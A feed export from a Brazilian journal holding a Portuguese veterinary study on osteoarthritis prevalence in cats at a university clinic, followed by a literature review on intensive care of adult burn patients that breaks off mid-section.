		<title>AVALIAÇÃO DA PREVALÊNCIA DA OSTEOARTRITE EM FELINOS NA CLÍNICA ESCOLA UNIG NOVA IGUAÇU NO PERÍODO DE ABRIL À NOVEMBRO DE 2025</title>
		<link>https://revistaft.com.br/avaliacao-da-prevalencia-da-osteoartrite-em-felinos-na-clinica-escola-unig-nova-iguacu-no-periodo-de-abril-a-novembro-de-2025/</link>
		
		<dc:creator><![CDATA[Revistaft DT]]></dc:creator>
		<pubDate>Fri, 30 Jan 2026 00:51:55 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Ciências da Saúde]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/dt10202601282150 Izabelly Monteiro de Oliveira; Laryssa Jardim da Silva Medeiros; Fernanda Cristina Concas; Jorge Philip Garcia de Menezes; Júlia dos Santos Jasmim; Karine de Souza Teixeira; Natália Lôres Lopes; Gabrielle Costa Resumo O prolongamento da vida dos gatos, decorrente dos avanços na medicina veterinária tem levado ao aumento na ocorrência de distúrbios musculoesqueléticos, [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/dt10202601282150</p>



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<p class="has-text-align-right wp-block-paragraph">Izabelly Monteiro de Oliveira; Laryssa Jardim da Silva Medeiros; Fernanda Cristina Concas; Jorge Philip Garcia de Menezes; Júlia dos Santos Jasmim; Karine de Souza Teixeira; Natália Lôres Lopes; Gabrielle Costa</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">O prolongamento da vida dos gatos, decorrente dos avanços na medicina veterinária tem levado ao aumento na ocorrência de distúrbios musculoesqueléticos, como a osteoartrite (OA). Também com o envelhecimento dos animais e o aumento de sua longevidade, as chances de desenvolvimento dessa doença aumentam. Este estudo visa avaliar a prevalência da OA em gatos atendidos na clínica escola da Universidade Iguaçu, com o objetivo de contribuir para a promoção da qualidade de vida dos pacientes diagnosticados e para a identificação precoce de gatos em risco de desenvolver a doença. A osteoartrite é caracterizada pela degeneração das articulações sinoviais, é frequentemente associada à idade e ao sexo, apresentando uma prevalência que varia de 16,5% a 91%, conforme a literatura. Os sinais clínicos mais comuns observados em felinos incluem dor, rigidez, diminuição da amplitude de movimento e alterações comportamentais, como a dificuldade para saltar. Os objetivos específicos do estudo incluem descrever a casuística de pacientes diagnosticados através de exame físico e anamnese, identificar a idade, escorie corporal e o sexo mais prevalente, analisar doenças associadas, investigar condições ambientais e alimentares e documentar as manifestações clínicas observadas. Os resultados esperados poderão oferecer subsídios para a compreensão da prevalência da osteoartrite, contribuindo assim para a melhoria das práticas clínicas na medicina veterinária.&nbsp;</p>



<p class="wp-block-paragraph"><em>Palavras-chave: Degenerativo; articulação; gatos; manejo; diagnostico</em></p>



<p class="wp-block-paragraph"><strong>&nbsp;Abstract</strong></p>



<p class="wp-block-paragraph">The extended lifespan of cats, resulting from advances in veterinary medicine, has led to an increase in the occurrence of musculoskeletal disorders such as osteoarthritis (OA). Furthermore, as animals age and live longer, the chances of developing this disease increase. This study aims to evaluate the prevalence of OA in cats treated at the Iguaçu University teaching clinic, with the goal of contributing to the improvement of the quality of life of diagnosed patients and the early identification of cats at risk of developing the disease. Osteoarthritis is characterized by the degeneration of synovial joints, often associated with age and sex, with a prevalence ranging from 16.5% to 91%, according to the literature. The most common clinical signs observed in felines include pain, narrowing, decreased range of motion, and behavioral changes, such as difficulty jumping. The specific objectives of the study include describing the case series of patients identified through physical examination and medical history, identifying the most prevalent age, body condition score, and sex, analyzing related diseases, investigating environmental and dietary conditions, and documenting the observed clinical manifestations. The expected results may provide insights into the prevalence of osteoarthritis, thus contributing to improving clinical practices in veterinary medicine.</p>



<p class="wp-block-paragraph">Keywords: Degenerative; joint; cats; management; diagnosis</p>



<p class="wp-block-paragraph"><strong>Introdução</strong></p>



<p class="wp-block-paragraph">A osteoartrite (OA) é uma condição frequentemente observada em felinos, caracterizada por alterações articulares degenerativas progressivas (Klinck et al., 2018).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="416" height="256" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-541.png" alt="" class="wp-image-263952" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-541.png 416w, https://revistaft.com.br/wp-content/uploads/2026/01/image-541-300x185.png 300w" sizes="(max-width: 416px) 100vw, 416px" /><figcaption class="wp-element-caption">Figura&nbsp; SEQ Figura \* ARABIC 1 – Cartilagem articular. Fonte: Birchard; Sherding (2003, p.1343).</figcaption></figure>



<p class="wp-block-paragraph">Sendo os gatos um dos principais animais que visitam hospitais veterinários e assim aumentando seu tempo de vida, devido ao desenvolvimento da medicina veterinária. A partir desse contexto, com distúrbios musculoesqueléticos, como osteoartrite (OA), estão aumentando sendo relatado que 91 de 100 gatos selecionados aleatoriamente com idades entre 6 meses e 20 anos, tinham pelo menos uma articulação apendicular com OA diagnosticada através de radiografia (Yamazaki et al., 2020). Sendo definida como a doença articular degenerativa mais comum e uma das principais causas de dor e incapacidade (Chen, 2017).</p>



<p class="wp-block-paragraph">A osteoartrite se refere ao processo degenerativo, progressiva e crônico que afeta as articulações sinoviais (Maniaki, 2021). E é caracterizada pela inflamação e pela degradação da cartilagem (Seo et al., 2024). Fatores, como a idade e o peso de um animal, também desempenham papéis no desenvolvimento da doença. A OA se desenvolve em qualquer idade, sua maior prevalência em animais mais velhos indica que é uma doença associada ao envelhecimento, muitas vezes, como resultado do desgaste e impacto de longo prazo nas articulações&nbsp; (Johnson, 2020).</p>



<p class="wp-block-paragraph">Embora existam poucos estudos específicos sobre gatos, pesquisas já feitas mostram que entre 16,5% e 91% dos felinos avaliados por radiografia apresentaram alterações compatíveis com a OA, mesmo não demonstrando sinais claros. (Kerwin, 2010). Ainda que frequentemente subdiagnosticada, devido à natureza discreta dos indicadores clínicos (Maniaki et al., 2021), Além de causar dor e diminuição da mobilidade, a OA também pode levar a sinais comportamentais, como agressividade, alteração nas interações sociais e perda do vínculo humano-animal. (Deabold et al.,2023). Do mesmo modo, os sinais clínicos incluem evidências de dor, sensibilidade, diminuição da amplitude de movimento, inchaço, rigidez, atrofia muscular, crepitação e derrame (Johnson et al., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Nas articulações apendiculares, a OA foi mais detectada no quadril, seguidas pelas articulações do cotovelo, joelho, carpo, tarso e ombro, enquanto nas axiais, a OA foi mais detectada na região torácica com uma prevalência real de 20%. O que indica que a OA felina é provavelmente muito maior do que 25,6%, especialmente a partir do início da vida adulta do animal (Holguin et al., 2025). Já o diagnóstico é baseado no histórico médico do animal, na avaliação do veterinário por meio do exame físico e ortopédico. Em felinos, sinais como espessamento articular, derrame sinovial, amplitude de movimento reduzida e crepitação são menos observados do que em cães (Bennett et al., 2012). Também pode-se observar em avaliações post-mortem que sugerem o diagnóstico estimado de 2,5% dos felinos avaliados(Holguin et al., 2025).</p>



<p class="wp-block-paragraph"><strong>Objetivo&nbsp;</strong></p>



<p class="wp-block-paragraph">O objetivo deste estudo é documentar e avaliar felinos suspeitos de osteoartrite atendidos na Clínica Escola da Universidade Iguaçu, fornecendo informações sobre a prevalência da doença em diferentes idades, sexos, pesos, padrões alimentares, condições ambientais, comportamentos e comorbidades. Além disso, busca-se descrever a casuística dos pacientes, identificar grupos de maior ocorrência, investigar doenças associadas e caracterizar as manifestações clínicas, de modo a contribuir para a compreensão da osteoartrite felina e para a promoção da qualidade de vida desses animais. Além da importância da observação, uma vez que mudanças sutis no comportamento, na mobilidade ou nos hábitos de locomoção podem ser os primeiros sinais da doença, facilitando o diagnóstico precoce e permitindo intervenções.</p>



<p class="wp-block-paragraph"><strong>Justificativa</strong></p>



<p class="wp-block-paragraph">A osteoartrite (OA) felina, também chamada de doença articular degenerativa, é considerada uma das principais causas de dor crônica em gatos, com grande impacto na qualidade de vida desses animais (Maniaki et al., 2021). Apesar de sua alta prevalência, é uma condição ainda subdiagnosticada na rotina clínica, especialmente devido à dificuldade de interpretação dos sinais clínicos e comportamentais apresentados pelos felinos, que costumam ser sutis e mascarados.</p>



<p class="wp-block-paragraph">Estudos demonstram que a OA está presente em até 72% dos felinos com pelo menos uma articulação apendicular acometida (Slingerland et al., 2011), afetando frequentemente articulações de forma bilateral (Stadig et al., 2023). Ainda assim, o diagnóstico permanece desafiador, em especial pela complexidade do exame ortopédico em felinos, que muitas vezes não colaboram com o manuseio clínico. O diagnóstico definitivo baseia-se na combinação entre a anamnese detalhada fornecida pelo tutor, o histórico clínico do paciente e achados do exame físico, ortopédico e radiográfico</p>



<p class="wp-block-paragraph">Diante desse cenário, torna-se evidente a necessidade de ampliar o conhecimento sobre a OA em gatos, promovendo maior conscientização entre tutores e profissionais da medicina veterinária sobre os sinais compatíveis com a doença, como alterações na mobilidade, comportamento, locomoção e interação social. Além disso, é essencial compreender a importância do diagnóstico precoce, pois, embora a OA seja uma condição irreversível, um tratamento bem conduzido pode reduzir significativamente os efeitos da dor, preservar a função articular e melhorar o bem- estar geral do animal (Lefort-Holguin et al., 2025).</p>



<p class="wp-block-paragraph"><strong>Resultados&nbsp;</strong></p>



<p class="wp-block-paragraph">Foram avaliados 25 felinos com idade igual ou superior a cinco anos, sem restrição quanto a idades, sexos, pesos, padrões alimentares, condições ambientais, comportamentos ou comorbidades, atendidos na Clínica Escola Veterinária da Universidade Iguaçu (UNIG). Destes, 56% dos animais apresentaram sinais clínicos compatíveis com OA, sendo a maioria composta por indivíduos idosos, obesos ou com alguma comorbidade secundária, como FIV (Vírus da Imunodeficiência Felina), FeLV (Vírus da Leucemia Felina), DRC (Doença Renal Crônica), DII (Doença Inflamatória Intestinal) ou alergia alimentar. Em 4% dos casos, o diagnóstico de osteoartrite foi confirmado por meio de radiografia, e o animal passou a receber tratamento com Solensia® (anticorpo monoclonal contra o Fator de Crescimento Nervoso – NGF), além de corticosteroides e suplementos nutricionais, o que contribuiu para a redução dos sinais clínicos, podendo ter mascarado a manifestação completa da doença em outros exames.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="850" height="380" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-614.png" alt="" class="wp-image-264084" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-614.png 850w, https://revistaft.com.br/wp-content/uploads/2026/01/image-614-300x134.png 300w, https://revistaft.com.br/wp-content/uploads/2026/01/image-614-768x343.png 768w" sizes="(max-width: 850px) 100vw, 850px" /><figcaption class="wp-element-caption">Figura 2: Aspectos radiográficos em L7-S1 demonstrando diminuição do espaço intervertebral, esclerose óssea subcondral e espondilose ventral, alterações degenerativas compatíveis com osteoartrite decorrente de instabilidade lombossacral. Fonte: Arquivo pessoal, 2025.</figcaption></figure>



<p class="wp-block-paragraph">Cerca de 12% dos animais apresentaram resistência à manipulação clínica associada à dor e ao desconforto articular, enquanto 40% possuíam histórico de fraturas, traumas, lesões ou claudicação prévia, e 32% apresentavam sinais comportamentais compatíveis com o quadro. Observou-se que todos os gatos com sinais de OA viviam em ambientes com piso liso, predominantemente em apartamentos, fator que pode contribuir para o agravamento das manifestações clínicas devido a redução no espaço para exercícios a longo prazo. Dentre os animais que possuíam sinais clínicos para osteoartrite, 50% demonstraram dificuldade para subir ou descer em móveis, sendo descrito principalmente camas, sofás e mesas, estando a dificuldade para subir relatada com maior frequência.</p>



<p class="wp-block-paragraph">Os responsáveis expuseram alterações de comportamento motor, como evitar acessar locais que anteriormente frequentavam com facilidade, postura encurvada e rigidez ao andar; dentre os animais positivos, 35,7% apresentaram os sinais, 35,7% apenas postura encurvada e 28,6% apenas rigidez. Também foram observadas alterações no comportamento relacionado à caixa de areia, como hesitação ao entrar, esforço para se acomodar e preferência por locais com acesso mais fácil, sugerindo desconforto associado à mobilidade reduzida. Sendo 42,9% dos animais compatíveis urina ou fezes fora da caixa ou dificuldade para utilizá-la e entre esses 50% relatou que a caixa de areia era do tipo alta, o que dificultava o acesso e a utilização pelos animais, 14% diminuiu a frequência de ida à caixa&nbsp; ao decorrer dos anos observado em animais a partir de 8 anos e 35% apresentaram esforço ou desconforto ao entrar ou&nbsp; sair dela.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="632" height="439" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-615.png" alt="" class="wp-image-264085" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-615.png 632w, https://revistaft.com.br/wp-content/uploads/2026/01/image-615-300x208.png 300w" sizes="(max-width: 632px) 100vw, 632px" /><figcaption class="wp-element-caption">Tabela 1- Alterações relacionadas à caixa de areia. Fonte: Arquivo pessoal, 2025.</figcaption></figure>



<p class="wp-block-paragraph">Dos animais com sinais compatíveis com OA, 50% apresentaram sintomas preferencialmente pela manhã, 64,3% em dias frios e chuvosos, 42,9% ao acordar ou após longos períodos de descanso, 78,6% passaram mais tempo deitados ou dormindo do que o habitual, 85% passaram a dar prioridade a superfícies mais macias, 21,4% apresentaram comportamento mais recluso, buscando menos contato com pessoas e outros animais e 28,6% demonstraram irritação ao serem tocados.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="633" height="317" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-616.png" alt="" class="wp-image-264086" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-616.png 633w, https://revistaft.com.br/wp-content/uploads/2026/01/image-616-300x150.png 300w" sizes="(max-width: 633px) 100vw, 633px" /><figcaption class="wp-element-caption">Tabela  SEQ Tabela \* ARABIC 2- Alterações relacionadas ao comportamento felino. Fonte: Arquivo pessoal, 2025.</figcaption></figure>



<p class="wp-block-paragraph">Esses comportamentos indicam que a osteoartrite afeta não apenas a mobilidade e o conforto geral dos gatos, mas também hábitos essenciais de higiene, refletindo alterações significativas na saúde, rotina e bem-estar dos mesmos.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="689" height="538" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-617.png" alt="" class="wp-image-264087" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-617.png 689w, https://revistaft.com.br/wp-content/uploads/2026/01/image-617-300x234.png 300w" sizes="(max-width: 689px) 100vw, 689px" /></figure>



<p class="wp-block-paragraph"><strong>Conclusão</strong></p>



<p class="wp-block-paragraph">O estudo evidenciou que a osteoartrite é uma condição prevalente em felinos com idade prioritariamente igual ou superior a cinco anos, sendo mais frequente em animais idosos, obesos ou portadores de comorbidades. Além das alterações clínicas, como dor, rigidez articular e dificuldade de locomoção, foram observadas mudanças comportamentais significativas levando em consideração a discrição em relação a dor da espécie tratada, além disso observou-se menor atividade, preferência por superfícies macias, reclusão social, irritabilidade e alterações na utilização da caixa de areia. Fatores ambientais, como pisos lisos e caixas de areia de difícil acesso, assim como condições climáticas e horários do dia, influenciam a manifestação dos sinais da doença.</p>



<p class="wp-block-paragraph">Os achados reforçam a necessidade de estratégias de manejo integradas, que contemplem terapias farmacológicas, ajustes ambientais e orientação adequada aos tutores, visando prevenir, minimizar o desconforto, prolongar e melhorar a qualidade de vida dos animais. A pesquisa contribui para a compreensão da osteoartrite felina e facilita a observação desses sinais para os profissionais quanto ao diagnóstico, fornecendo informações relevantes para identificação precoce, manejo clínico adequado, cuidados comportamentais e reajustes ambientais.</p>



<p class="wp-block-paragraph"><strong>Referências</strong></p>



<ol class="wp-block-list">
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</ol>



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			</item>
		<item>
		<title>REVISÃO DE LITERATURA QUANTO AO MANEJO DO QUEIMADO CRÍTICO ADULTO</title>
		<link>https://revistaft.com.br/revisao-de-literatura-quanto-ao-manejo-do-queimado-critico-adulto/</link>
		
		<dc:creator><![CDATA[Revistaft MA]]></dc:creator>
		<pubDate>Thu, 29 Jan 2026 20:18:34 +0000</pubDate>
				<category><![CDATA[Ciências Biológicas]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/ma10202601291718 João Victor Pini Gurgel do AmaralKarina Gabriela GironAlessandra Rodrigues Brandão RESUMO As queimaduras extensas representam uma condição clínica complexa, associada a elevada morbimortalidade, exigindo manejo intensivo especializado e multidisciplinar. Ao longo das últimas décadas, o cuidado ao paciente grande queimado evoluiu de abordagens empíricas para estratégias baseadas na compreensão da queimadura como [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ma10202601291718</p>



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<p class="has-text-align-right wp-block-paragraph">João Victor Pini Gurgel do Amaral<br>Karina Gabriela Giron<br>Alessandra Rodrigues Brandão</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">As queimaduras extensas representam uma condição clínica complexa, associada a elevada morbimortalidade, exigindo manejo intensivo especializado e multidisciplinar. Ao longo das últimas décadas, o cuidado ao paciente grande queimado evoluiu de abordagens empíricas para estratégias baseadas na compreensão da queimadura como uma doença sistêmica, caracterizada por choque hipovolêmico, resposta inflamatória exacerbada, hipermetabolismo e alto risco infeccioso. Nesse contexto, diretrizes nacionais e internacionais têm buscado sistematizar o manejo intensivo desses pacientes, embora persistam limitações na qualidade das evidências disponíveis.</p>



<p class="wp-block-paragraph">Trata-se de uma <strong>revisão integrativa da literatura</strong>, com abordagem qualitativa, realizada a partir de busca nas bases PubMed/MEDLINE, Embase, Scopus e SciELO, incluindo diretrizes, consensos e estudos clínicos relevantes publicados entre 2000 e 2024. O objetivo foi analisar criticamente a evolução histórica, as recomendações atuais e as lacunas de evidência no manejo do paciente grande queimado crítico em unidades de terapia intensiva, com ênfase em ressuscitação volêmica, uso de albumina, terapia nutricional, controle infeccioso e síndrome compartimental abdominal, comparando as diretrizes da Sociedade Brasileira de Queimaduras e da American Burn Association.</p>



<p class="wp-block-paragraph">Os resultados demonstram convergência entre as diretrizes quanto aos principais pilares do cuidado intensivo, destacando-se a ressuscitação volêmica guiada por metas, a contraindicação da antibioticoterapia profilática de rotina, o início precoce da nutrição enteral e a vigilância ativa de complicações associadas à sobrecarga volêmica. Entretanto, observa-se que grande parte das recomendações é sustentada por evidência de qualidade moderada ou baixa, especialmente em áreas como o uso de albumina e a prevenção da síndrome compartimental abdominal, reforçando a necessidade de julgamento clínico individualizado.</p>



<p class="wp-block-paragraph">Conclui-se que o manejo do paciente grande queimado crítico deve integrar diretrizes baseadas em evidências, monitorização contínua e tomada de decisão individualizada em ambiente de terapia intensiva especializada. O desenvolvimento de estudos prospectivos e multicêntricos permanece essencial para o fortalecimento das recomendações e para a melhoria dos desfechos clínicos nessa população de alta complexidade.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Queimaduras; Paciente crítico; Terapia intensiva; Ressuscitação volêmica; Diretrizes clínicas.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">A abordagem moderna do paciente queimado baseia-se no reconhecimento de que a gravidade da lesão cutânea não se limita ao dano local, mas reflete a intensidade de uma resposta sistêmica capaz de comprometer múltiplos órgãos. Nesse contexto, a classificação das queimaduras evoluiu para um modelo integrativo que considera simultaneamente a <strong>extensão da superfície corporal queimada</strong>, a <strong>profundidade da lesão</strong> e o <strong>agente etiológico</strong>, parâmetros adotados de forma convergente pelas recomendações da American Burn Association e da Sociedade Brasileira de Queimaduras [1–3].</p>



<p class="wp-block-paragraph">A extensão da queimadura, expressa como percentual da superfície corporal queimada, permanece como um dos principais determinantes de gravidade clínica. Em adultos, valores iguais ou superiores a 20% da superfície corporal estão consistentemente associados a maior risco de instabilidade hemodinâmica, necessidade de ressuscitação volêmica intensiva e evolução para disfunção orgânica, sendo esse limiar utilizado por ambas as sociedades para caracterizar o grande queimado. Entretanto, diretrizes atuais ressaltam que a extensão isolada é insuficiente para predizer prognóstico, uma vez que queimaduras de menor área podem cursar com gravidade semelhante quando associadas a fatores agravantes, como idade extrema, comorbidades ou lesões específicas [1,2].</p>



<p class="wp-block-paragraph">A profundidade da queimadura representa outro eixo fundamental da avaliação inicial, pois reflete o grau de destruição das camadas cutâneas e o potencial de cicatrização espontânea. Lesões restritas à epiderme e à derme superficial tendem a evoluir com reepitelização adequada, enquanto queimaduras que acometem camadas dérmicas profundas ou toda a espessura da pele estão associadas a maior resposta inflamatória local, risco elevado de infecção e necessidade frequente de abordagem cirúrgica. As recomendações da ABA e da SBQ enfatizam que essa avaliação deve ser compreendida como um processo dinâmico, especialmente nas primeiras 72 horas, período em que alterações microcirculatórias e inflamatórias podem levar à progressão da lesão inicialmente subestimada [1,3].</p>



<p class="wp-block-paragraph">O agente causador da queimadura exerce papel determinante na expressão clínica da lesão e nas complicações sistêmicas associadas. Queimaduras térmicas convencionais apresentam, em geral, correlação mais direta entre extensão e gravidade. Em contraste, queimaduras elétricas frequentemente exibem discreto acometimento cutâneo externo, porém associam-se a lesões profundas extensas, rabdomiólise e distúrbios cardiovasculares, configurando gravidade independente da superfície corporal queimada. De forma semelhante, queimaduras químicas, sobretudo por agentes alcalinos, caracterizam-se por progressão tecidual contínua, o que justifica a necessidade de monitorização prolongada e reavaliações seriadas. Já a lesão inalatória é reconhecida como fator prognóstico independente, estando associada a maior incidência de insuficiência respiratória e aumento significativo da mortalidade [1,4,5].</p>



<p class="wp-block-paragraph">A integração desses fatores permite definir o conceito de <strong>grande queimado</strong>, amplamente utilizado para fins de triagem e encaminhamento. Contudo, diretrizes contemporâneas destacam que o conceito de <strong>paciente queimado crítico</strong> é mais abrangente e clínico, incluindo indivíduos que evoluem com instabilidade hemodinâmica, insuficiência respiratória, sepse ou falência orgânica, independentemente do percentual de superfície corporal acometida. Essa distinção reflete a compreensão atual de que a gravidade do paciente queimado decorre não apenas da magnitude da lesão cutânea, mas da intensidade da resposta sistêmica desencadeada, reforçando a importância do manejo precoce em ambiente de terapia intensiva especializada [1–3].</p>



<p class="wp-block-paragraph"><strong>METODOLOGIA</strong></p>



<p class="wp-block-paragraph">Trata-se de um <strong>estudo de revisão integrativa da literatura</strong>, com abordagem qualitativa, conduzido com o objetivo de analisar criticamente a evolução histórica, as recomendações atuais e as lacunas de evidência no manejo do paciente grande queimado crítico em unidades de terapia intensiva. A revisão seguiu as etapas metodológicas clássicas propostas por Whittemore e Knafl: formulação da questão de pesquisa, busca na literatura, avaliação dos estudos, análise dos dados e apresentação da síntese.</p>



<p class="wp-block-paragraph">A questão norteadora do estudo foi: <em>“Quais são as principais recomendações baseadas em evidências para o manejo intensivo do paciente grande queimado crítico, segundo as diretrizes da Sociedade Brasileira de Queimaduras, da American Burn Association e da European Burn Association”</em></p>



<p class="wp-block-paragraph">A estratégia de busca bibliográfica foi realizada nas bases de dados PubMed/MEDLINE, Embase, Scopus e SciELO, contemplando publicações entre janeiro de 2000 e dezembro de 2024, com ênfase nos últimos 10 anos. Foram utilizados descritores controlados e termos livres combinados por operadores booleanos, incluindo <em>burns</em>, <em>severe burns</em>, <em>critical burn patient</em>, <em>fluid resuscitation</em>, <em>albumin</em>, <em>nutrition therapy</em>, <em>infection control</em>, <em>abdominal compartment syndrome</em>, <em>intensive care</em> e <em>guidelines</em>.</p>



<p class="wp-block-paragraph">Foram incluídos estudos primários e secundários, revisões sistemáticas, metanálises, diretrizes clínicas e consensos de especialistas que abordassem o manejo do paciente adulto grande queimado em contexto de terapia intensiva. Estudos exclusivamente pediátricos, relatos de casos, estudos experimentais em animais e publicações sem relevância clínica direta foram excluídos.</p>



<p class="wp-block-paragraph">A análise dos estudos foi realizada de forma descritiva e interpretativa, com organização temática dos achados e comparação crítica entre as recomendações da SBQ e da ABA. Sempre que disponível, foram descritos o nível de evidência e a classe de recomendação, utilizando-se o sistema GRADE ou a classificação adotada pelas próprias diretrizes. Na ausência de classificação formal, o nível de evidência foi inferido com base no desenho metodológico dos estudos.</p>



<p class="wp-block-paragraph"><strong>RESULTADOS</strong></p>



<p class="wp-block-paragraph"><strong>Ressuscitação volêmica no grande queimado crítico</strong></p>



<p class="wp-block-paragraph">A abordagem da ressuscitação volêmica em pacientes com queimaduras extensas tem se distanciado do uso rígido de fórmulas preditivas clássicas em favor de estratégias dinâmicas guiadas por metas fisiológicas. A Sociedade Brasileira de Queimaduras (SBQ), em suas diretrizes de 2018, já destacava que fórmulas como Parkland devem ser utilizadas apenas como ponto de partida, enfatizando a necessidade de ajustes com base em sinais clínicos e parâmetros hemodinâmicos [1]. Essa recomendação é reforçada em consensos posteriores no cenário brasileiro que salientam a importância de monitorização contínua e prevenção de sobrecarga volêmica [2]. A American Burn Association (ABA), em atualizações de 2022–2023, endossa fortemente uma abordagem guiada por metas, incluindo monitorização do débito urinário, perfusão periférica, pressões de enchimento e lactato sérico, visando evitar complicações associadas ao <em>fluid creep</em>, como síndrome compartimental abdominal e disfunção de órgãos [3,4]. Ambas as sociedades classificam essas condutas como recomendação forte, com evidência de qualidade moderada, refletindo a predominância de estudos observacionais e consenso de especialistas. As diretrizes europeias, representadas pela European Burns Association (EBA), alinham-se progressivamente à mudança conceitual já adotada pela SBQ e pela ABA, afastando-se de uma aplicação rígida de fórmulas preditivas isoladas. A EBA reconhece que fórmulas como Parkland ou modificações (2–4 mL/kg/%SCQ) devem ser empregadas apenas como <strong>estimativa inicial</strong>, com rápida transição para uma ressuscitação guiada por metas fisiológicas e resposta clínica individual [12]. Diferentemente da ABA e da SBQ, que tradicionalmente adotam ≥20% de SCQ como limiar para ressuscitação formal, documentos europeus admitem maior <strong>flexibilidade</strong>, reconhecendo que pacientes com 15–20% de SCQ, idosos ou com comorbidades cardiovasculares podem demandar estratégias de ressuscitação mais precoces e monitorizadas [12,13]. A EBA enfatiza ainda a importância de evitar o “fluid creep”, recomendando vigilância rigorosa do balanço hídrico, avaliação seriada de lactato, perfusão periférica e pressão intra-abdominal em pacientes de alto risco, em consonância com consensos internacionais recentes [13]. Essas recomendações são classificadas como <strong>fortes</strong>, embora baseadas predominantemente em evidência de <strong>qualidade moderada</strong>, refletindo consenso de especialistas e estudos observacionais multicêntricos.</p>



<p class="wp-block-paragraph"><strong>Uso de albumina na ressuscitação volêmica</strong></p>



<p class="wp-block-paragraph">O emprego de albumina na ressuscitação do grande queimado continua sendo uma área de debate clínico e científico. A SBQ adota uma postura cautelosa, originalmente desencorajando seu uso precoce devido ao aumento da permeabilidade capilar na fase inflamatória inicial, mas reconhece que a albumina pode ser considerada como terapia adjuvante após 12–24 horas em casos selecionados de ressuscitação difícil e balanço hídrico persistentemente positivo [1,2]. A ABA, em atualizações recentes, reforça que a albumina pode ser utilizada de forma criteriosa para limitar volumes excessivos de cristaloides em pacientes que apresentam dificuldade de ressuscitação com cristaloides isoladamente [3,5]. Metanálises sugerem que a albumina não melhora de forma consistente a mortalidade em queimados, embora possa contribuir para redução do edema tecidual e complicações relacionadas à sobrecarga volêmica [6,7]. Diante disso, tanto a SBQ quanto a ABA classificam o uso de albumina como recomendação condicional ou fraca, com nível de evidência baixo a moderado, ressaltando a necessidade de julgamento clínico individualizado. A EBA compartilha da postura cautelosa adotada pela SBQ e pela ABA quanto ao uso precoce de albumina durante a fase inicial da resposta inflamatória sistêmica da queimadura. As diretrizes europeias destacam que, nas primeiras 12–24 horas, a permeabilidade capilar aumentada limita o benefício potencial dos coloides, podendo inclusive exacerbar edema intersticial [12]. Entretanto, assim como observado nas atualizações da ABA, a EBA reconhece que a albumina pode ser considerada <strong>como estratégia adjuvante tardia</strong>, especialmente em pacientes com ressuscitação difícil, volumes excessivos de cristaloides ou balanço hídrico persistentemente positivo, desde que sob monitorização rigorosa [13,14]. Revisões sistemáticas citadas por grupos europeus reforçam que não há benefício consistente em mortalidade, mas apontam possível redução de edema e menor incidência de complicações associadas à sobrecarga volêmica em subgrupos selecionados [14]. Dessa forma, a EBA classifica o uso de albumina como <strong>recomendação condicional</strong>, com <strong>nível de evidência baixo a moderado</strong>, reforçando a necessidade de individualização clínica.</p>



<p class="wp-block-paragraph"><strong>Terapia nutricional no grande queimado crítico</strong></p>



<p class="wp-block-paragraph">A nutrição enteral precoce é amplamente reconhecida como intervenção essencial no manejo do paciente grande queimado crítico. A SBQ, desde 2018, recomenda o início da nutrição enteral o mais precocemente possível, preferencialmente nas primeiras 12 horas após a admissão, desde que o paciente esteja hemodinamicamente estável [1,2]. A ABA, em suas diretrizes e revisões mais recentes (2022–2023), enfatiza ainda mais o início da nutrição enteral dentro das primeiras 6–12 horas, atribuindo a essa prática benefícios na preservação da integridade da mucosa intestinal, redução da translocação bacteriana, modulação da resposta hipermetabólica e menor incidência de complicações infecciosas [3,8]. A nutrição parenteral é considerada secundária e deve ser reservada para situações em que a via enteral é insuficiente ou inviável. Essas recomendações são classificadas como fortes, com evidência moderada a alta, sustentadas por ensaios clínicos e revisões sistemáticas que demonstram impacto positivo em desfechos clínicos relevantes. No que se refere à terapia nutricional, as recomendações da EBA são amplamente convergentes com as da SBQ e da ABA, reforçando a nutrição enteral precoce como pilar fundamental do cuidado intensivo ao grande queimado. As diretrizes europeias recomendam início da nutrição enteral <strong>idealmente dentro das primeiras 6–12 horas</strong> após a admissão, sempre que a estabilidade hemodinâmica permitir [12,15]. Um diferencial das recomendações europeias é a integração explícita com as diretrizes da European Society for Clinical Nutrition and Metabolism (ESPEN), que detalham metas calórico-proteicas mais específicas, enfatizando o aporte proteico elevado para mitigar a resposta hipercatabólica característica desses pacientes [15]. Assim como nas diretrizes americanas e brasileiras, a 